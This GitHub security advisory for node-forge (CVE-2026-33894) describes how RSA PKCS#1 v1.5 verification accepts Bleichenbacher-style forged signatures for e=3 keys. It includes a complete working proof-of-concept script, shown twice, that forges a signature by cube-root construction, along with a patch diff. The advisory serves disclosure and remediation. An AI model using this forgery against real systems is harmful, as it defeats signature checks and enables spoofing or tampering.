GHSA-PPP5-5V6C-4JWP
Vulnerability from github – Published: 2026-03-26 22:02 – Updated: 2026-03-27 21:50Summary
RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.
Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.
Impacted Deployments
Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and recent prior versions.
Configuration assumptions:
- Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5).
- _parseAllDigestBytes: true (default setting).
Root Cause
In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.
Two issues are present with this logic:
- Strict DER byte-consumption (
_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. _decodePkcs1_v1_5comments mention that PS < 8 bytes should be rejected, but does not implement this logic.
Reproduction Steps
- Use Node.js (tested with
v24.9.0) and clonedigitalbazaar/forgeat commit8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (
repro_min.js) withnode repro_min.jsin the same level as theforgefolder. - The script generates a fresh RSA keypair (
4096bits,e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction. - The script verifies both signatures with:
- forge verify (
_parseAllDigestBytes: true), and - Node/OpenSSL verify (
crypto.verifywithRSA_PKCS1_PADDING). - Confirm output includes:
control-forge-strict: truecontrol-node: trueforgery (forge library, strict): trueforgery (node/OpenSSL): false
Proof of Concept
Overview:
- Demonstrates a valid control signature and a forged signature in one run.
- Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default).
- Uses Node/OpenSSL as an differential verification baseline.
- Observed output on tested commit:
control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false
repro_min.js
#!/usr/bin/env node
'use strict';
const crypto = require('crypto');
const forge = require('./forge/lib/index');
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
// SEQUENCE { OID sha256, NULL },
// OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
'300d060960864801650304020105000420',
'hex'
);
const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
let h = n.toString(16);
if (h.length % 2) h = '0' + h;
const b = Buffer.from(h, 'hex');
return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
let lo = 0n;
let hi = 1n;
while (hi * hi * hi <= n) hi <<= 1n;
while (lo + 1n < hi) {
const mid = (lo + hi) >> 1n;
if (mid * mid * mid <= n) lo = mid;
else hi = mid;
}
return lo;
}
const cbrtCeil = n => {
const f = cbrtFloor(n);
return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
if (len < 0x80) return Buffer.from([len]);
if (len <= 0xff) return Buffer.from([0x81, len]);
return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}
function forgeStrictVerify(publicPem, msg, sig) {
const key = forge.pki.publicKeyFromPem(publicPem);
const md = forge.md.sha256.create();
md.update(msg.toString('utf8'), 'utf8');
try {
// verify(digestBytes, signatureBytes, scheme, options):
// - digestBytes: raw SHA-256 digest bytes for `msg`
// - signatureBytes: binary-string representation of the candidate signature
// - scheme: undefined => default RSASSA-PKCS1-v1_5
// - options._parseAllDigestBytes: require DER parser to consume all bytes
// (this is forge's default for verify; set explicitly here for clarity)
return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
} catch (err) {
return { ok: false, err: err.message };
}
}
function main() {
const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
modulusLength: 4096,
publicExponent: 3,
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
});
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
const nBytes = Buffer.from(jwk.n, 'base64url');
const n = toBig(nBytes);
const e = toBig(Buffer.from(jwk.e, 'base64url'));
if (e !== 3n) throw new Error('expected e=3');
const msg = Buffer.from('forged-message-0', 'utf8');
const digest = crypto.createHash('sha256').update(msg).digest();
const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
const k = nBytes.length;
// ffCount can be set to any value at or below 111 and produce a valid signature.
// ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
// However, current versions of node forge do not check for this.
// Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
const ffCount = 0;
// `garbageLen` affects DER length field sizes, which in turn affect how
// many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
// A small cap (8) is enough here: DER length-size transitions are discrete
// and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
let garbageLen = 0;
for (let i = 0; i < 8; i += 1) {
const gLenEnc = derLen(garbageLen).length;
const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
const seqLenEnc = derLen(seqLen).length;
const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
const next = k - fixed;
if (next === garbageLen) break;
garbageLen = next;
}
const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
const prefix = Buffer.concat([
Buffer.from([0x00, 0x01]),
Buffer.alloc(ffCount, 0xff),
Buffer.from([0x00]),
Buffer.from([0x30]), derLen(seqLen),
algAndDigest,
Buffer.from([0x04]), derLen(garbageLen)
]);
// Build the numeric interval of all EM values that start with `prefix`:
// - `low` = prefix || 00..00
// - `high` = one past (prefix || ff..ff)
// Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
const suffixLen = k - prefix.length;
const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
const high = low + (1n << BigInt(8 * suffixLen));
const s = cbrtCeil(low);
if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
const sig = toBuf(s, k);
const controlMsg = Buffer.from('control-message', 'utf8');
const controlSig = crypto.sign('sha256', controlMsg, {
key: privateKey,
padding: crypto.constants.RSA_PKCS1_PADDING
});
// forge verification calls (library under test)
const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
const forgedForge = forgeStrictVerify(publicKey, msg, sig);
// Node.js verification calls (OpenSSL-backed reference behavior)
const controlNode = crypto.verify('sha256', controlMsg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, controlSig);
const forgedNode = crypto.verify('sha256', msg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, sig);
console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
console.log('control-node:', controlNode);
console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
console.log('forgery (node/OpenSSL):', forgedNode);
}
main();
Suggested Patch
- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (
PS >= 8) in_decodePkcs1_v1_5before accepting the block. - Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).
Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:
index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
error.errors = errors;
throw error;
}
+
+ if(obj.value.length != 2) {
+ var error = new Error(
+ 'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+ 'a valid RSASSA-PKCS1-v1_5 package.');
+ error.errors = errors;
+ throw error;
+ }
// check hash algorithm identifier
// see PKCS1-v1-5DigestAlgorithms in RFC 8017
// FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
}
++padNum;
}
+
+ if (padNum < 8) {
+ throw new Error('Encryption block is invalid.');
+ }
} else if(bt === 0x02) {
// look for 0x00 byte
padNum = 0;
Resources
- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
-
This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.
- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
lib/rsa.jskey.verify(...)at lines ~1139-1223.lib/rsa.js_decodePkcs1_v1_5(...)at lines ~1632-1695.
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-forge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33894"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T22:02:35Z",
"nvd_published_at": "2026-03-27T21:17:25Z",
"severity": "HIGH"
},
"details": "## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing \u201cgarbage\u201d bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS \u003c 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n - forge verify (`_parseAllDigestBytes: true`), and\n - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n - `control-forge-strict: true`\n - `control-node: true`\n - `forgery (forge library, strict): true`\n - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n\u003cdetails\u003e\u003csummary\u003erepro_min.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge/lib/index\u0027);\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n// SEQUENCE { OID sha256, NULL },\n// OCTET STRING \u003c32-byte digest\u003e\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n \u0027300d060960864801650304020105000420\u0027,\n \u0027hex\u0027\n);\n\nconst toBig = b =\u003e BigInt(\u00270x\u0027 + (b.toString(\u0027hex\u0027) || \u00270\u0027));\nfunction toBuf(n, len) {\n let h = n.toString(16);\n if (h.length % 2) h = \u00270\u0027 + h;\n const b = Buffer.from(h, \u0027hex\u0027);\n return b.length \u003c len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n let lo = 0n;\n let hi = 1n;\n while (hi * hi * hi \u003c= n) hi \u003c\u003c= 1n;\n while (lo + 1n \u003c hi) {\n const mid = (lo + hi) \u003e\u003e 1n;\n if (mid * mid * mid \u003c= n) lo = mid;\n else hi = mid;\n }\n return lo;\n}\nconst cbrtCeil = n =\u003e {\n const f = cbrtFloor(n);\n return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n if (len \u003c 0x80) return Buffer.from([len]);\n if (len \u003c= 0xff) return Buffer.from([0x81, len]);\n return Buffer.from([0x82, (len \u003e\u003e 8) \u0026 0xff, len \u0026 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n const key = forge.pki.publicKeyFromPem(publicPem);\n const md = forge.md.sha256.create();\n md.update(msg.toString(\u0027utf8\u0027), \u0027utf8\u0027);\n try {\n // verify(digestBytes, signatureBytes, scheme, options):\n // - digestBytes: raw SHA-256 digest bytes for `msg`\n // - signatureBytes: binary-string representation of the candidate signature\n // - scheme: undefined =\u003e default RSASSA-PKCS1-v1_5\n // - options._parseAllDigestBytes: require DER parser to consume all bytes\n // (this is forge\u0027s default for verify; set explicitly here for clarity)\n return { ok: key.verify(md.digest().getBytes(), sig.toString(\u0027binary\u0027), undefined, { _parseAllDigestBytes: true }) };\n } catch (err) {\n return { ok: false, err: err.message };\n }\n}\n\nfunction main() {\n const { privateKey, publicKey } = crypto.generateKeyPairSync(\u0027rsa\u0027, {\n modulusLength: 4096,\n publicExponent: 3,\n privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 }\n });\n\n const jwk = crypto.createPublicKey(publicKey).export({ format: \u0027jwk\u0027 });\n const nBytes = Buffer.from(jwk.n, \u0027base64url\u0027);\n const n = toBig(nBytes);\n const e = toBig(Buffer.from(jwk.e, \u0027base64url\u0027));\n if (e !== 3n) throw new Error(\u0027expected e=3\u0027);\n\n const msg = Buffer.from(\u0027forged-message-0\u0027, \u0027utf8\u0027);\n const digest = crypto.createHash(\u0027sha256\u0027).update(msg).digest();\n const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n const k = nBytes.length;\n // ffCount can be set to any value at or below 111 and produce a valid signature.\n // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n // However, current versions of node forge do not check for this.\n // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n const ffCount = 0; \n // `garbageLen` affects DER length field sizes, which in turn affect how\n // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n // A small cap (8) is enough here: DER length-size transitions are discrete\n // and few (\u003c128, \u003c=255, \u003c=65535, ...), so this stabilizes quickly.\n let garbageLen = 0;\n for (let i = 0; i \u003c 8; i += 1) {\n const gLenEnc = derLen(garbageLen).length;\n const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n const seqLenEnc = derLen(seqLen).length;\n const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n const next = k - fixed;\n if (next === garbageLen) break;\n garbageLen = next;\n }\n const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n const prefix = Buffer.concat([\n Buffer.from([0x00, 0x01]),\n Buffer.alloc(ffCount, 0xff),\n Buffer.from([0x00]),\n Buffer.from([0x30]), derLen(seqLen),\n algAndDigest,\n Buffer.from([0x04]), derLen(garbageLen)\n ]);\n\n // Build the numeric interval of all EM values that start with `prefix`:\n // - `low` = prefix || 00..00\n // - `high` = one past (prefix || ff..ff)\n // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n const suffixLen = k - prefix.length;\n const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n const high = low + (1n \u003c\u003c BigInt(8 * suffixLen));\n const s = cbrtCeil(low);\n if (s \u003e cbrtFloor(high - 1n) || s \u003e= n) throw new Error(\u0027no candidate in interval\u0027);\n\n const sig = toBuf(s, k);\n\n const controlMsg = Buffer.from(\u0027control-message\u0027, \u0027utf8\u0027);\n const controlSig = crypto.sign(\u0027sha256\u0027, controlMsg, {\n key: privateKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n });\n\n // forge verification calls (library under test)\n const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n // Node.js verification calls (OpenSSL-backed reference behavior)\n const controlNode = crypto.verify(\u0027sha256\u0027, controlMsg, {\n key: publicKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n }, controlSig);\n const forgedNode = crypto.verify(\u0027sha256\u0027, msg, {\n key: publicKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n }, sig);\n\n console.log(\u0027control-forge-strict:\u0027, controlForge.ok, controlForge.err || \u0027\u0027);\n console.log(\u0027control-node:\u0027, controlNode);\n console.log(\u0027forgery (forge library, strict):\u0027, forgedForge.ok, forgedForge.err || \u0027\u0027);\n console.log(\u0027forgery (node/OpenSSL):\u0027, forgedNode);\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS \u003e= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n error.errors = errors;\n throw error;\n }\n+\n+ if(obj.value.length != 2) {\n+ var error = new Error(\n+ \u0027DigestInfo ASN.1 object must contain exactly 2 fields for \u0027 +\n+ \u0027a valid RSASSA-PKCS1-v1_5 package.\u0027);\n+ error.errors = errors;\n+ throw error;\n+ }\n // check hash algorithm identifier\n // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n }\n ++padNum;\n }\n+\n+ if (padNum \u003c 8) {\n+ throw new Error(\u0027Encryption block is invalid.\u0027);\n+ }\n } else if(bt === 0x02) {\n // look for 0x00 byte\n padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n - \u003e This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
"id": "GHSA-ppp5-5v6c-4jwp",
"modified": "2026-03-27T21:50:55Z",
"published": "2026-03-26T22:02:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33894"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc2313#section-8"
},
{
"type": "PACKAGE",
"url": "https://github.com/digitalbazaar/forge"
},
{
"type": "WEB",
"url": "https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc8017.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Forge has signature forgery in RSA-PKCS due to ASN.1 extra field "
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.